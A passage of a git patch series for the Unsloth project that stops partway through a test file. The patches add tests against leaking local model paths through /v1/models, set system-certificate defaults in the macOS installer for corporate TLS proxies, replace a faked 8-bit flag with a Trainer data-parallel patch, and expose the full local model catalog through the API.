+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.model_ids import public_model_id  # noqa: E402
+
+
+def test_local_gguf_path_becomes_clean_stem():
+    assert public_model_id("/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf") == "Qwen3-30B-A3B-Q4_K_M"
+    assert public_model_id("/home/u/.cache/models/llama.gguf") == "llama"
+
+
+def test_hf_repo_id_unchanged():
+    assert public_model_id("unsloth/Qwen3-30B-A3B-GGUF") == "unsloth/Qwen3-30B-A3B-GGUF"
+    assert public_model_id("Qwen3-30B-A3B") == "Qwen3-30B-A3B"
+
+
+def test_none_and_empty_passthrough():
+    assert public_model_id(None) is None
+    assert public_model_id("") == ""
+
+
+def test_windows_path():
+    assert public_model_id("C:\\models\\foo.gguf") == "foo"
+    assert public_model_id("models\\sub\\bar.gguf") == "bar"
+
+
+def test_directory_path_uses_basename():
+    assert public_model_id("/opt/models/MyModelDir") == "MyModelDir"
+    # A 3+ segment relative path is a local path, not an org/model repo id.
+    assert public_model_id("a/b/c") == "c"
+
+
+def test_relative_and_home_paths_are_sanitized():
+    # ./ ../ ~ prefixed paths are local and must not be echoed raw.
+    assert public_model_id("./model.gguf") == "model"
+    assert public_model_id("../models/foo.gguf") == "foo"
+    assert public_model_id("~/models/baz.gguf") == "baz"
+    assert public_model_id("./mistral") == "mistral"
+    assert public_model_id("~/mistral") == "mistral"
+    assert public_model_id(".\\models\\foo.gguf") == "foo"
+
+
+def test_dotted_repo_id_not_mistaken_for_relative_path():
+    # A leading dot that is not ./ or ../ is an ordinary clean name.
+    assert public_model_id(".hidden-model") == ".hidden-model"
+    assert public_model_id("org/.config") == "org/.config"
diff --git a/studio/backend/tests/test_openai_models_path_leak.py b/studio/backend/tests/test_openai_models_path_leak.py
new file mode 100644
index 0000000000..a84a33f840
--- /dev/null
+++ b/studio/backend/tests/test_openai_models_path_leak.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""GET /v1/models must report a clean public id, never the on-disk .gguf path."""
+
+import json
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import routes.inference as inf  # noqa: E402
+
+
+class _FakeLlama:
+    is_loaded = True
+    model_identifier = "/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf"
+    context_length = 4096
+    max_context_length = None
+    native_context_length = None
+
+
+class _FakeUnsloth:
+    active_model_name = None
+    models: dict = {}
+    context_length = None
+    max_seq_length = None
+
+
+def test_openai_models_returns_clean_id_without_path(monkeypatch):
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    objs = inf._openai_model_objects()
+
+    assert len(objs) == 1
+    assert objs[0]["id"] == "Qwen3-30B-A3B-Q4_K_M"
+    # The serialized payload must not leak the absolute path or the .gguf suffix.
+    blob = json.dumps(objs)
+    assert "/srv/models" not in blob
+    assert ".gguf" not in blob
+    # Context fields still flow through.
+    assert objs[0]["context_length"] == 4096

From 4a5d41eb3d3731f41347c6adec0f6dde95cf3253 Mon Sep 17 00:00:00 2001
From: Luca Cesarano <luca.cesarano1@gmail.com>
Date: Fri, 26 Jun 2026 21:48:30 +0200
Subject: [PATCH 126/306] fix(install): enable UV_NATIVE_TLS on macOS for
 corporate TLS-inspection proxies (#6671)

---------

Co-authored-by: Luca Cesarano <luca.cesarano@sygnum.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 README.md  |  5 +++++
 install.sh | 15 +++++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/README.md b/README.md
index 9162d29b1c..e3fd4e6980 100644
--- a/README.md
+++ b/README.md
@@ -246,6 +246,11 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
 $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
 ```
 
+On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
+```bash
+curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
+```
+
 Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
 ```bash
 UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local
diff --git a/install.sh b/install.sh
index 548e6f702a..7a9f0be87f 100755
--- a/install.sh
+++ b/install.sh
@@ -1636,6 +1636,21 @@ export UV_HTTP_RETRIES
 : "${UV_HTTP_TIMEOUT:=180}"
 export UV_HTTP_TIMEOUT
 
+# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls.
+# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which
+# present their own CA certificate. rustls (uv's default) ignores the Keychain
+# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer".
+# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the
+# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already
+# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto
+# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0.
+if [ "$OS" = "macos" ]; then
+    : "${UV_SYSTEM_CERTS:=1}"
+    : "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}"
+fi
+[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS
+[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS
+
 version_ge() {
     # returns 0 if $1 >= $2
     _a=$1

From e594e5d2018618c665009135335562ec35846178 Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Sat, 27 Jun 2026 06:54:28 +0800
Subject: [PATCH 127/306] fix: stop faking 8bit load flag (#6708)

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 unsloth/models/_utils.py | 81 ++++++++++++++++++++++++++++++++++++++++
 unsloth/models/llama.py  | 12 ++----
 unsloth/models/vision.py | 12 ++----
 3 files changed, 89 insertions(+), 16 deletions(-)

diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 7a056cef82..7ad6e8ea33 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -86,6 +86,8 @@ __all__ = [
     "is_moe_model",
     "get_moe_target_parameters",
     "make_fast_generate_wrapper",
+    "_mark_unsloth_disable_data_parallel",
+    "_patch_transformers_trainer_data_parallel",
 ]
 
 import torch
@@ -160,6 +162,85 @@ from unsloth_zoo.training_utils import (
 )
 
 
+def _iter_wrapped_models(model):
+    seen = set()
+    current = model
+    while current is not None and id(current) not in seen:
+        yield current
+        seen.add(id(current))
+        next_model = getattr(current, "model", None)
+        if next_model is None:
+            next_model = getattr(current, "base_model", None)
+        if next_model is None:
+            next_model = getattr(current, "module", None)
+        current = next_model
+
+
+def _patch_transformers_trainer_data_parallel():
+    try:
+        from transformers.trainer import Trainer
+    except (ImportError, ModuleNotFoundError):
+        return False
+
+    original_wrap_model = getattr(Trainer, "_wrap_model", None)
+    if original_wrap_model is None:
+        return False
+    if getattr(original_wrap_model, "_unsloth_data_parallel_patched", False):
+        return True
+    try:
+        supports_dataloader = "dataloader" in inspect.signature(original_wrap_model).parameters
+    except (TypeError, ValueError):
+        supports_dataloader = True
+
+    def _call_original_wrap_model(self, model, wrap_args, wrap_kwargs):
+        if supports_dataloader:
+            return original_wrap_model(self, model, *wrap_args, **wrap_kwargs)
+
+        if "dataloader" in wrap_kwargs:
+            wrap_kwargs = {k: v for k, v in wrap_kwargs.items() if k != "dataloader"}
+        return original_wrap_model(self, model, *wrap_args, **wrap_kwargs)
+
+    @functools.wraps(original_wrap_model)
+    def _unsloth_wrap_model(self, model, *wrap_args, **wrap_kwargs):
+        args = getattr(self, "args", None)
+        disable_data_parallel = getattr(model, "_unsloth_disable_data_parallel", False)
+        is_real_8bit = getattr(model, "is_loaded_in_8bit", False)
+        if (
+            args is None
+            or not disable_data_parallel
+            or is_real_8bit
+            or getattr(args, "n_gpu", 0) <= 1
+        ):
+            return _call_original_wrap_model(self, model, wrap_args, wrap_kwargs)
+
+        had_n_gpu = hasattr(args, "_n_gpu")
+        old_n_gpu = getattr(args, "_n_gpu", None)
+        args._n_gpu = 1
+        try:
+            return _call_original_wrap_model(self, model, wrap_args, wrap_kwargs)
+        finally:
+            if had_n_gpu:
+                args._n_gpu = old_n_gpu
+            else:
+                try:
+                    delattr(args, "_n_gpu")
+                except AttributeError:
+                    pass
+
+    _unsloth_wrap_model._unsloth_data_parallel_patched = True
+    _unsloth_wrap_model._unsloth_original_wrap_model = original_wrap_model
+    Trainer._wrap_model = _unsloth_wrap_model
+    return True
+
+
+def _mark_unsloth_disable_data_parallel(model, disable = True):
+    if disable:
+        _patch_transformers_trainer_data_parallel()
+    for module in _iter_wrapped_models(model):
+        setattr(module, "_unsloth_disable_data_parallel", bool(disable))
+    return model
+
+
 def resolve_hip_gpu_stats_name(gpu_stats):
     name = str(getattr(gpu_stats, "name", "") or "").strip()
     name = re.sub(r"\s*\([^)]*\)\s*$", "", name).strip()
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index d5eca8d6df..14ee5ee24e 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2832,13 +2832,11 @@ class FastLlamaModel:
         internal_model = model
         while hasattr(internal_model, "model"):
             internal_model._saved_temp_tokenizer = tokenizer
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            internal_model.is_loaded_in_8bit = True
 
             internal_model = internal_model.model
         internal_model._saved_temp_tokenizer = tokenizer
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        internal_model.is_loaded_in_8bit = True
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model)
 
         # For transformers > 4.47.1, we need to add rotary_emb to all attention layers
         if IS_ATTENTION_REFACTOR or hasattr(model.model, "rotary_emb"):
@@ -3379,13 +3377,11 @@ class FastLlamaModel:
         while hasattr(internal_model, "model"):
             if hasattr(internal_model, "_saved_temp_tokenizer"):
                 internal_model._saved_temp_tokenizer.padding_side = "right"
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            internal_model.is_loaded_in_8bit = True
             internal_model = internal_model.model
         if hasattr(internal_model, "_saved_temp_tokenizer"):
             internal_model._saved_temp_tokenizer.padding_side = "right"
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        internal_model.is_loaded_in_8bit = True
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model)
 
         # Clear deleted GPU items
         for _ in range(3):
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 39004b4d45..bdc2bd9ef6 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -1440,16 +1440,14 @@ class FastBaseModel:
         while hasattr(m, "model"):
             m.max_seq_length = max_seq_length
             m._saved_temp_tokenizer = tokenizer
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            m.is_loaded_in_8bit = True if not full_finetuning else False
             m = m.model
         m.max_seq_length = max_seq_length
         # Save to modules as well
         for module in model.modules():
             module.max_seq_length = max_seq_length
         m._saved_temp_tokenizer = tokenizer
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        m.is_loaded_in_8bit = True if not full_finetuning else False
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model, disable = not full_finetuning)
 
         # Patch generate
         if os.environ.get("UNSLOTH_DISABLE_FAST_GENERATION", "0") == "0" and hasattr(
@@ -1826,14 +1824,12 @@ class FastBaseModel:
             if hasattr(m, "_saved_temp_tokenizer"):
                 if hasattr(m._saved_temp_tokenizer, "tokenizer"):
                     m._saved_temp_tokenizer.tokenizer.padding_side = "left"
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            m.is_loaded_in_8bit = True if not full_finetuning else False
             m = m.model
         if hasattr(m, "_saved_temp_tokenizer"):
             if hasattr(m._saved_temp_tokenizer, "tokenizer"):
                 m._saved_temp_tokenizer.tokenizer.padding_side = "left"
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        m.is_loaded_in_8bit = True if not full_finetuning else False
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model, disable = not full_finetuning)
 
         # Clear deleted GPU items
         for _ in range(3):

From b11966b2db759f933342364c825211f740a9002a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 16:42:06 -0700
Subject: [PATCH 128/306] studio: list the full local model catalog from
 /v1/models (#6519)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/core/inference/model_ids.py  |  14 ++
 studio/backend/routes/inference.py          | 105 ++++++++++--
 studio/backend/routes/models.py             | 161 +++++++++--------
 studio/backend/tests/test_model_ids.py      |  11 +-
 studio/backend/tests/test_openai_catalog.py | 181 ++++++++++++++++++++
 5 files changed, 388 insertions(+), 84 deletions(-)
 create mode 100644 studio/backend/tests/test_openai_catalog.py

diff --git a/studio/backend/core/inference/model_ids.py b/studio/backend/core/inference/model_ids.py
index 4d409cb4b5..548cc60f94 100644
--- a/studio/backend/core/inference/model_ids.py
+++ b/studio/backend/core/inference/model_ids.py
@@ -55,3 +55,17 @@ def public_model_id(identifier: Optional[str]) -> Optional[str]:
     if name.lower().endswith(_GGUF_SUFFIX):
         name = name[: -len(_GGUF_SUFFIX)]
     return name or identifier
+
+
+def model_id_matches(requested: Optional[str], internal: Optional[str]) -> bool:
+    """Whether a client-supplied *requested* id refers to *internal*.
+
+    Accepts the clean public id (preferred) and, for backward compatibility, the
+    raw internal identifier (e.g. a legacy absolute path a client cached from an
+    older ``/v1/models`` response).
+    """
+    if requested is None or internal is None:
+        return False
+    if requested == internal:
+        return True
+    return public_model_id(internal) == requested
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 1061542ca6..caf2a262a3 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -6391,6 +6391,9 @@ async def serve_sandbox_file(
 # OpenAI-Compatible Models Listing  (/models → /v1/models)
 # =====================================================================
 
+# `owned_by` marker on every /v1/models entry (loaded and available alike).
+_OWNED_BY = "unsloth-studio"
+
 
 def _openai_model_objects() -> list[dict]:
     """The model objects GET /v1/models exposes (one per loaded local backend).
@@ -6410,7 +6413,7 @@ def _openai_model_objects() -> list[dict]:
             "id": public_model_id(llama_backend.model_identifier),
             "object": "model",
             "created": _created,
-            "owned_by": "local",
+            "owned_by": _OWNED_BY,
         }
         _ctx = _positive_int_or_none(getattr(llama_backend, "context_length", None))
         if _ctx is not None:
@@ -6431,7 +6434,7 @@ def _openai_model_objects() -> list[dict]:
             "id": public_model_id(backend.active_model_name),
             "object": "model",
             "created": _created,
-            "owned_by": "local",
+            "owned_by": _OWNED_BY,
         }
         _ctx = _positive_int_or_none(model_info.get("context_length"))
         if _ctx is None:
@@ -6449,15 +6452,86 @@ def _openai_model_objects() -> list[dict]:
     return models
 
 
+# Brief cache for the local-model filesystem scan so repeated /v1/models calls
+# don't rescan the HF cache and models dirs on every request.
+_CATALOG_CACHE: dict = {"at": 0.0, "models": []}
+_CATALOG_TTL_S = 30.0
+_CATALOG_LOCK = asyncio.Lock()
+
+
+async def _cached_local_catalog() -> list:
+    """Locally available models (models dir + HF caches + LM Studio + scan
+    folders), cached for a few seconds. Returns a list of LocalModelInfo.
+
+    The scan walks several directories and stats many files, so it runs in a
+    worker thread (asyncio.to_thread) -- calling it inline would block the event
+    loop and stall every concurrent request and in-flight inference stream. A
+    lock with a double-check collapses a burst of simultaneous /v1/models calls
+    into a single scan instead of one per request."""
+    # Validity is keyed on "at" (set only after a scan), not on list contents, so
+    # an empty/errored scan is still cached instead of rescanning on every poll.
+    now = time.monotonic()
+    if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
+        return _CATALOG_CACHE["models"]
+    async with _CATALOG_LOCK:
+        now = time.monotonic()
+        if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
+            return _CATALOG_CACHE["models"]
+        try:
+            from routes.models import collect_local_models
+            _CATALOG_CACHE["models"] = await asyncio.to_thread(
+                collect_local_models, Path("./models").resolve()
+            )
+        except Exception as exc:
+            logger.debug("model catalog scan failed: %s", exc)
+            _CATALOG_CACHE["models"] = []
+        # Stamp after the scan, not the pre-scan "now": a scan slower than the TTL
+        # would otherwise leave the cache already expired, so every waiter rescans.
+        _CATALOG_CACHE["at"] = time.monotonic()
+    return _CATALOG_CACHE["models"]
+
+
+async def _openai_catalog_objects() -> list[dict]:
+    """Every model the server knows about for ``GET /v1/models``: the loaded
+    model(s) plus locally available (downloaded/cached) models discovered by
+    scanning. Loaded entries keep their context fields and are marked
+    ``loaded: true``. All ids are clean public ids (never absolute paths)."""
+    _created = int(time.time())
+    # Loaded models first (clean ids + context fields), marked loaded.
+    by_id: dict[str, dict] = {}
+    for entry in _openai_model_objects():
+        by_id[entry["id"]] = {**entry, "loaded": True}
+
+    # Locally available (downloaded/cached) models that are not already loaded.
+    for info in await _cached_local_catalog():
+        cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None))
+        if not cid or cid in by_id:
+            continue
+        obj = {
+            "id": cid,
+            "object": "model",
+            "created": _created,
+            "owned_by": _OWNED_BY,
+            "loaded": False,
+        }
+        display = getattr(info, "display_name", None)
+        if display:
+            obj["display_name"] = display
+        by_id[cid] = obj
+
+    return list(by_id.values())
+
+
 @router.get("/models")
 async def openai_list_models(current_subject: str = Depends(get_current_subject)):
     """
-    OpenAI-compatible model listing endpoint.
+    OpenAI-compatible model listing endpoint (``GET /v1/models``).
 
-    Returns the currently loaded model in the format expected by
-    OpenAI-compatible clients (``GET /v1/models``).
+    Lists every model available on this server -- the loaded model(s) plus
+    locally available (downloaded/cached) models -- not only what is resident in
+    memory. Each entry carries a clean public id and a ``loaded`` flag.
     """
-    return {"object": "list", "data": _openai_model_objects()}
+    return {"object": "list", "data": await _openai_catalog_objects()}
 
 
 @router.get("/models/{model_id:path}")
@@ -6465,11 +6539,20 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge
     """
     OpenAI-compatible single-model retrieval endpoint (``GET /v1/models/{id}``).
 
-    Returns the bare model object when ``model_id`` matches a loaded local
-    model, or 404 model_not_found otherwise. Defined after the LIST route so
-    it does not shadow it; ``{model_id:path}`` keeps ids with slashes intact.
+    Returns the bare model object when ``model_id`` matches a known model
+    (loaded or locally available), or 404 model_not_found otherwise. Defined
+    after the LIST route so it does not shadow it; ``{model_id:path}`` keeps ids
+    with slashes intact.
     """
-    objects = _openai_model_objects()
+    from core.inference.model_ids import model_id_matches
+
+    # Loaded models resolve without a catalog scan (the common case); only build
+    # the full catalog -- which may hit the filesystem -- for unloaded ids.
+    for entry in _openai_model_objects():
+        if entry["id"] == model_id:
+            return {**entry, "loaded": True}
+
+    objects = await _openai_catalog_objects()
     for model in objects:
         if model["id"] == model_id:
             return model
@@ -6482,7 +6565,7 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge
         llama_backend.model_identifier if llama_backend.is_loaded else None,
         backend.active_model_name or None,
     ):
-        if raw and model_id == raw:
+        if raw and model_id_matches(model_id, raw):
             clean = public_model_id(raw)
             for model in objects:
                 if model["id"] == clean:
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 951c2960f3..e22f65751c 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -722,6 +722,94 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca
     return found
 
 
+def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
+    """Scan ``models_root``, the HF caches, LM Studio dirs, and user scan folders,
+    returning a deduplicated, hidden-filtered list of discovered local models.
+
+    Shared by ``GET /models/local`` (the model picker) and the OpenAI-compatible
+    catalog (``GET /v1/models``) so the UI and the API never drift. ``models_root``
+    must already be validated/trusted by the caller.
+    """
+    from storage.studio_db import list_scan_folders
+    from utils.paths import (
+        hf_default_cache_dir,
+        legacy_hf_cache_dir,
+        lmstudio_model_dirs,
+    )
+
+    hf_cache_dir = _resolve_hf_cache_dir()
+    legacy_hf = legacy_hf_cache_dir()
+    hf_default = hf_default_cache_dir()
+    lm_dirs = lmstudio_model_dirs()
+
+    local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
+
+    # Resolve once; an inaccessible aux cache must skip that scan, not 500.
+    hf_cache_real = _safe_resolve(hf_cache_dir)
+    legacy_real = _safe_resolve(legacy_hf)
+    default_real = _safe_resolve(hf_default)
+
+    # Scan legacy Unsloth HF cache for backward compatibility.
+    if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
+        local_models += _scan_hf_cache(legacy_hf)
+
+    # Scan HF system default cache (may differ under env overrides).
+    if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real:
+        local_models += _scan_hf_cache(hf_default)
+
+    # Scan LM Studio directories.
+    for lm_dir in lm_dirs:
+        local_models += _scan_lmstudio_dir(lm_dir)
+
+    # Scan user-added custom folders (per-folder cap).
+    _MAX_MODELS_PER_FOLDER = 200
+    try:
+        custom_folders = list_scan_folders()
+    except Exception as e:
+        logger.warning("Could not load custom scan folders: %s", e)
+        custom_folders = []
+    for folder in custom_folders:
+        folder_path = Path(folder["path"])
+        try:
+            # Filter Ollama .studio_links/ from generic scanners to
+            # avoid duplicates and leaking internal paths into the UI.
+            _generic = [
+                m
+                for m in (
+                    _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
+                    + _scan_hf_cache(folder_path)
+                    + _scan_lmstudio_dir(folder_path)
+                )
+                if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
+            ]
+            custom_models = _generic
+            if len(custom_models) < _MAX_MODELS_PER_FOLDER:
+                custom_models += _scan_ollama_dir(
+                    folder_path,
+                    limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
+                )
+        except OSError as e:
+            logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
+            continue
+        local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
+
+    # Deduplicate, but always keep custom folder entries (keyed by
+    # (id, source)) so they show in the "Custom Folders" UI section
+    # even when the model is also in the HF cache.
+    deduped: dict[str, LocalModelInfo] = {}
+    for model in local_models:
+        key = f"{model.id}\x00custom" if model.source == "custom" else model.id
+        if key not in deduped:
+            deduped[key] = model
+
+    models = sorted(
+        deduped.values(),
+        key = lambda item: (item.updated_at or 0),
+        reverse = True,
+    )
+    return [m for m in models if not _is_hidden_model(m.id, m.path)]
+
+
 @router.get("/local", response_model = LocalModelListResponse)
 async def list_local_models(
     models_dir: str = Query(
@@ -770,78 +858,7 @@ async def list_local_models(
         )
 
     try:
-        local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
-
-        # Resolve once; an inaccessible aux cache must skip that scan, not 500.
-        hf_cache_real = _safe_resolve(hf_cache_dir)
-        legacy_real = _safe_resolve(legacy_hf)
-        default_real = _safe_resolve(hf_default)
-
-        # Scan legacy Unsloth HF cache for backward compatibility.
-        if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
-            local_models += _scan_hf_cache(legacy_hf)
-
-        # Scan HF system default cache (may differ under env overrides).
-        if (
-            _safe_is_dir(hf_default)
-            and default_real != hf_cache_real
-            and default_real != legacy_real
-        ):
-            local_models += _scan_hf_cache(hf_default)
-
-        # Scan LM Studio directories.
-        for lm_dir in lm_dirs:
-            local_models += _scan_lmstudio_dir(lm_dir)
-
-        # Scan user-added custom folders (per-folder cap).
-        from storage.studio_db import list_scan_folders
-
-        _MAX_MODELS_PER_FOLDER = 200
-        try:
-            custom_folders = list_scan_folders()
-        except Exception as e:
-            logger.warning("Could not load custom scan folders: %s", e)
-            custom_folders = []
-        for folder in custom_folders:
-            folder_path = Path(folder["path"])
-            try:
-                # Filter Ollama .studio_links/ from generic scanners to
-                # avoid duplicates and leaking internal paths into the UI.
-                _generic = [
-                    m
-                    for m in (
-                        _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
-                        + _scan_hf_cache(folder_path)
-                        + _scan_lmstudio_dir(folder_path)
-                    )
-                    if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
-                ]
-                custom_models = _generic
-                if len(custom_models) < _MAX_MODELS_PER_FOLDER:
-                    custom_models += _scan_ollama_dir(
-                        folder_path,
-                        limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
-                    )
-            except OSError as e:
-                logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
-                continue
-            local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
-
-        # Deduplicate, but always keep custom folder entries (keyed by
-        # (id, source)) so they show in the "Custom Folders" UI section
-        # even when the model is also in the HF cache.
-        deduped: dict[str, LocalModelInfo] = {}
-        for model in local_models:
-            key = f"{model.id}\x00custom" if model.source == "custom" else model.id
-            if key not in deduped:
-                deduped[key] = model
-
-        models = sorted(
-            deduped.values(),
-            key = lambda item: (item.updated_at or 0),
-            reverse = True,
-        )
-        models = [m for m in models if not _is_hidden_model(m.id, m.path)]
+        models = collect_local_models(models_root)
 
         return LocalModelListResponse(
             models_dir = str(models_root),
diff --git a/studio/backend/tests/test_model_ids.py b/studio/backend/tests/test_model_ids.py
index 1b0cd927d8..f9116afec3 100644
--- a/studio/backend/tests/test_model_ids.py
+++ b/studio/backend/tests/test_model_ids.py
@@ -8,7 +8,7 @@ _BACKEND = Path(__file__).resolve().parents[1]
 if str(_BACKEND) not in sys.path:
     sys.path.insert(0, str(_BACKEND))
 
-from core.inference.model_ids import public_model_id  # noqa: E402
+from core.inference.model_ids import model_id_matches, public_model_id  # noqa: E402
 
 
 def test_local_gguf_path_becomes_clean_stem():
@@ -51,3 +51,12 @@ def test_dotted_repo_id_not_mistaken_for_relative_path():
     # A leading dot that is not ./ or ../ is an ordinary clean name.
     assert public_model_id(".hidden-model") == ".hidden-model"
     assert public_model_id("org/.config") == "org/.config"
+
+
+def test_matches_clean_and_legacy():
+    path = "/srv/models/Qwen3-Q4.gguf"
+    assert model_id_matches("Qwen3-Q4", path)  # clean public id
+    assert model_id_matches(path, path)  # legacy raw path
+    assert not model_id_matches("other", path)
+    assert not model_id_matches(None, path)
+    assert not model_id_matches("x", None)
diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py
new file mode 100644
index 0000000000..f9baf20a66
--- /dev/null
+++ b/studio/backend/tests/test_openai_catalog.py
@@ -0,0 +1,181 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""GET /v1/models lists the full server catalog (loaded + locally available)."""
+
+import asyncio
+import json
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import routes.inference as inf  # noqa: E402
+
+
+class _Info:
+    def __init__(
+        self,
+        id,
+        display_name,
+        model_id = None,
+    ):
+        self.id = id
+        self.display_name = display_name
+        self.model_id = model_id
+
+
+class _FakeLlama:
+    is_loaded = True
+    model_identifier = "/srv/models/Qwen3-Q4.gguf"
+    context_length = 4096
+    max_context_length = None
+    native_context_length = None
+
+    def __init__(self, loaded = True):
+        self.is_loaded = loaded
+
+
+class _FakeUnsloth:
+    active_model_name = None
+    models: dict = {}
+    context_length = None
+    max_seq_length = None
+
+
+def test_catalog_lists_loaded_and_available(monkeypatch):
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    async def _fake_catalog():
+        return [
+            _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"),  # same as loaded -> dedup
+            _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"),  # available, not loaded
+            _Info("models--org--Foo", "Foo", model_id = "org/Foo"),  # hf cache repo id
+        ]
+
+    monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog)
+
+    data = asyncio.run(inf._openai_catalog_objects())
+    ids = {m["id"]: m for m in data}
+
+    # Loaded model is present, marked loaded, and keeps context fields.
+    assert ids["Qwen3-Q4"]["loaded"] is True
+    assert ids["Qwen3-Q4"]["context_length"] == 4096
+    # Available-but-not-loaded models are listed too.
+    assert ids["Llama-8B-Q8"]["loaded"] is False
+    assert ids["org/Foo"]["loaded"] is False
+    # The loaded gguf and the on-disk copy collapse to one clean id.
+    assert [m["id"] for m in data].count("Qwen3-Q4") == 1
+    # No absolute paths or .gguf suffixes leak anywhere.
+    blob = json.dumps(data)
+    assert ".gguf" not in blob
+    assert "/srv/" not in blob
+    assert "/data/" not in blob
+
+
+def test_empty_and_errored_scans_are_cached(monkeypatch):
